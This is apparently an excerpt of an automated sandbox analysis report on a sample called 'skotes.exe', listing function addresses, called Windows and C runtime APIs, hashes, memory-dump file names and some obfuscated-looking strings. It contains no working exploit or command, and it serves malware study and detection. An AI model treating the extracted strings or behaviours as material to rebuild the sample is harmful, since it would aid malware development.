API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 679e00ae720632ccc4343e5c293b3654061b6678d462c6b02ad16154ec183afa
Instruction ID: 9744fdb341304bd62c2767d05f8bbf16ced54e1c31c80a13d82028395519875e
Opcode Fuzzy Hash: 679e00ae720632ccc4343e5c293b3654061b6678d462c6b02ad16154ec183afa
Instruction Fuzzy Hash: FD2149326042009BFB18BB68DC8977DB7E2DBD1310F2446AAE448D76E0CB75A980C362

Non-executed Functions

Function 00B82EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B82F5F
GetCurrentThreadId.KERNEL32 ref: 00B82F7E
__Mtx_unlock.LIBCPMT ref: 00B82FCC
__Cnd_broadcast.LIBCPMT ref: 00B82FE3
__Mtx_unlock.LIBCPMT ref: 00B830F5
GetCurrentThreadId.KERNEL32 ref: 00B83132
__Mtx_unlock.LIBCPMT ref: 00B8319B

Memory Dump Source

Source File: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2212595295.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212616596.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212698575.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212722785.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212748647.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212881177.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212911404.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213058348.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213081792.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213099332.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213119970.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213142325.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213164561.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213193073.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213214678.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213249882.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213269198.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213297921.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213347437.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213369914.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213394298.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213420667.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213443978.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213467870.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213496984.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213519853.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213542967.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213565181.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213588695.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213620092.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213649557.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213678014.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213705079.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213741370.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213758244.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213842451.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213870900.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213897006.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213920919.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213946530.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213977085.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214002671.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214026456.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: ba02cf42efdb50bba720da3dcc3c5198f820d3355a3b35de5daa03d6310dce39
Instruction ID: 479942cec0709f1bc4d82de2cc2f664afcf6444646442ed74ecc6295583c01ea
Opcode Fuzzy Hash: ba02cf42efdb50bba720da3dcc3c5198f820d3355a3b35de5daa03d6310dce39
Instruction Fuzzy Hash: 9EA1C1B0A052059FDF11EF65C948B5ABBF8FF15B10F0481BAE815D72A1EB35EA04CB91

Function 00BBCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BBCC66

Memory Dump Source

Source File: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2212595295.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212616596.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212698575.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212722785.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212748647.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212881177.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212911404.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213058348.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213081792.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213099332.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213119970.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213142325.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213164561.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213193073.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213214678.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213249882.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213269198.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213297921.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213347437.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213369914.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213394298.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213420667.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213443978.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213467870.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213496984.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213519853.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213542967.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213565181.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213588695.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213620092.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213649557.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213678014.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213705079.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213741370.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213758244.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213842451.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213870900.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213897006.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213920919.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213946530.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213977085.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214002671.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214026456.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 5f3d30ab04bd70401d27262421f5984d25a5ca766789051c56856d9e2c24de20
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 2DB1F2329046469FDB15CF28C881BFEBFE5EF55340F1481EAE855EB242D6B49D01CBA0

Function 00B9BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00B9BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00B9BBE4
_xtime_get.LIBCPMT ref: 00B9BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00B9BC13

Memory Dump Source

Source File: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2212595295.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212616596.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212698575.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212722785.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212748647.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212881177.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212911404.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213058348.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213081792.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213099332.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213119970.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213142325.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213164561.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213193073.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213214678.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213249882.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213269198.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213297921.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213347437.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213369914.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213394298.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213420667.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213443978.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213467870.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213496984.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213519853.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213542967.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213565181.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213588695.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213620092.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213649557.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213678014.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213705079.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213741370.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213758244.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213842451.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213870900.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213897006.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213920919.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213946530.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213977085.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214002671.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214026456.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: e1c45c9dc316a54ae35defc37cb427f3777ab067037c4f36381e4a8f1e2a877e
Instruction ID: 592f2f7214de587e357e006ea6b28f9e90db438ae3c0b7f788d8437b7c4a2a1a
Opcode Fuzzy Hash: e1c45c9dc316a54ae35defc37cb427f3777ab067037c4f36381e4a8f1e2a877e
Instruction Fuzzy Hash: E3213175A01119AFDF00EFA4DD81EBEBBB9EF08710F1000A5F501B7291DB309D059BA0

Analysis Process: skotes.exePID: 6044, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.2%
Total number of Nodes:	1145
Total number of Limit Nodes:	120

Executed Functions

Function 00B8E530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

246122658369, xrefs: 00B8F737, 00B8FA14, 00B905E7, 00B9099A
MQ==, xrefs: 00B8E592
WTw=, xrefs: 00B9097D
111, xrefs: 00B8F7A0
#, xrefs: 00B90624
9c9aa5, xrefs: 00B8FB8E
UA==, xrefs: 00B8EB0F, 00B8ED56
MGE+, xrefs: 00B8E821
GnNoc2Hc, xrefs: 00B8E56C
WTs=, xrefs: 00B905CA
WDw=, xrefs: 00B8F71D, 00B8F9FA

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: ab1c9fb0f80d5775a6ef2f9f43075a58622e9c9990055c68bce472848d5e3bb5
Instruction ID: cc924c425df7ee8fff5c676dd048c98fb46d40f5a6e2193e97fbebcaeadcce9c
Opcode Fuzzy Hash: ab1c9fb0f80d5775a6ef2f9f43075a58622e9c9990055c68bce472848d5e3bb5
Instruction Fuzzy Hash: A282E2709142889BEF14EF68C9897DE7FF5EB02304F5085D8E805673D2CB759A88CB92

Function 00BC2517 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00BD6758), ref: 00BC275C

Strings

Eastern Standard Time, xrefs: 00BC27CB
Eastern Summer Time, xrefs: 00BC27FA

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
